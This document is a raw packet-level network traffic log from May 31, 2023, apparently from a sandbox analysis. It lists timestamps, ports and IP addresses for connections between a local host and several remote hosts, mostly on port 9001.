May 31, 2023 12:23:15.220360994 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.220457077 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.226007938 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226130009 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226200104 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226202965 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.226257086 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226315975 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226320028 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.226370096 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.226428032 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.226429939 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.227430105 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.227559090 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.249552011 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.249604940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.249650955 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.249676943 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250087023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250133038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250145912 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250390053 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250442028 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250458956 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250555038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250587940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250606060 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250618935 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250654936 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250678062 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250690937 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250720024 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250732899 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250758886 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250793934 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250798941 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250832081 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250866890 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250884056 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250901937 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250926018 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250946045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.250948906 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250969887 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250993967 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.250998974 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.251019001 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.251035929 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.251043081 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.251082897 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.614840984 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.659147978 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.799823046 CEST	49732	8001	192.168.2.6	62.138.7.171
May 31, 2023 12:23:16.030807972 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:16.030931950 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:16.670775890 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:16.670874119 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.392926931 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.392990112 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:17.393125057 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.395451069 CEST	49740	443	192.168.2.6	178.16.208.57
May 31, 2023 12:23:17.395513058 CEST	443	49740	178.16.208.57	192.168.2.6
May 31, 2023 12:23:17.395595074 CEST	49740	443	192.168.2.6	178.16.208.57
May 31, 2023 12:23:17.397147894 CEST	49741	80	192.168.2.6	81.2.209.10
May 31, 2023 12:23:17.397353888 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.397680044 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.409712076 CEST	49740	443	192.168.2.6	178.16.208.57
May 31, 2023 12:23:17.409779072 CEST	443	49740	178.16.208.57	192.168.2.6
May 31, 2023 12:23:17.409847021 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.409897089 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:17.410058975 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.410298109 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.410480976 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.413681984 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.415636063 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.417655945 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.419580936 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.423060894 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.437252998 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437294006 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437318087 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437336922 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437361002 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437385082 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437408924 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437417030 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.437432051 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437457085 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437478065 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.437480927 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.437508106 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.437542915 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.439558029 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.439640045 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.443473101 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.447057009 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461313963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461358070 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461383104 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461415052 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461442947 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461468935 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461493969 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461524010 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461554050 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461585999 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461616993 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.461627960 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.461807013 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.462937117 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.462980032 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463011026 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463036060 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463059902 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463090897 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463104963 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.463125944 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463152885 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.463160992 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463177919 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.463191032 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.463226080 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.463248014 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.465737104 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.465773106 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.465816975 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.465866089 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.478246927 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478274107 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478296995 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478323936 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478344917 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.478348970 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478377104 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478401899 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478421926 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.478421926 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.478431940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.478457928 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.478507042 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.485604048 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485637903 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485656977 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485671997 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485692024 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485712051 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485732079 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485733986 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485754013 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485774994 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485776901 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485800982 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485821962 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485821962 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485846996 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485850096 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485867023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.485882044 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485887051 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485907078 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485912085 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485929966 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485935926 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485951900 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485955954 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485974073 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.485980034 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.485994101 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486004114 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486016035 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486023903 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486036062 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486046076 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486067057 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486085892 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486901999 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486923933 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486943007 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486963034 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.486973047 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.486983061 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.487005949 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.487015963 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.487029076 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.487049103 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.487055063 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.487071037 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.487099886 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.487445116 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.510032892 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.534164906 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.534198999 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.534225941 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.534252882 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.534270048 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.534317017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.546808004 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.546861887 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.546900034 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.546904087 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.546938896 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.546982050 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.546993971 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547029018 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547051907 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.547068119 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547103882 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547122002 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.547136068 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547180891 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547193050 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.547219038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547250986 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547271967 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.547288895 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547324896 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547342062 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.547367096 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547405958 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.547424078 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.554857969 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:17.602549076 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602628946 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602679968 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602720976 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.602725029 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602762938 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.602813005 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602859974 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602878094 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.602910995 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602956057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.602968931 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.615659952 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615736961 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615765095 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.615786076 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615837097 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615840912 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.615885973 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615933895 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.615936041 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.615983963 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616033077 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616041899 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616080046 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616127014 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616194963 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616221905 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616285086 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616290092 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616339922 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616389990 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616401911 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616437912 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616487026 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616487980 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616537094 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616584063 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616584063 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616632938 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616679907 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616679907 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616730928 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616777897 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616777897 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616826057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616872072 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616873026 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.616934061 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616981030 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.616986036 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.617031097 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.617078066 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.617079020 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.617125988 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.617172956 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.617173910 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.657533884 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:17.663629055 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:17.663749933 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.671160936 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671221972 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671272039 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671282053 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671318054 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671324968 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671364069 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671411037 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671416044 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671463013 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671508074 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671515942 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671554089 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671600103 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671603918 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671650887 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671706915 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671725988 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671772003 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671818972 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671827078 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.671869040 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.671920061 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.673458099 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685439110 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685486078 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685519934 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685554028 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685580969 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685586929 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685622931 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685622931 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685658932 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685691118 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685703039 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685724020 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685745001 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685758114 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685791969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685813904 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685823917 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685883045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685890913 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685924053 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685959101 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.685978889 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.685990095 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686023951 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686031103 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686055899 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686096907 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686124086 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686156034 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686191082 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686218023 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686223984 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686258078 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686263084 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686290979 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686321974 CEST	9001	49727	37.153.1.10	192.168.2.6
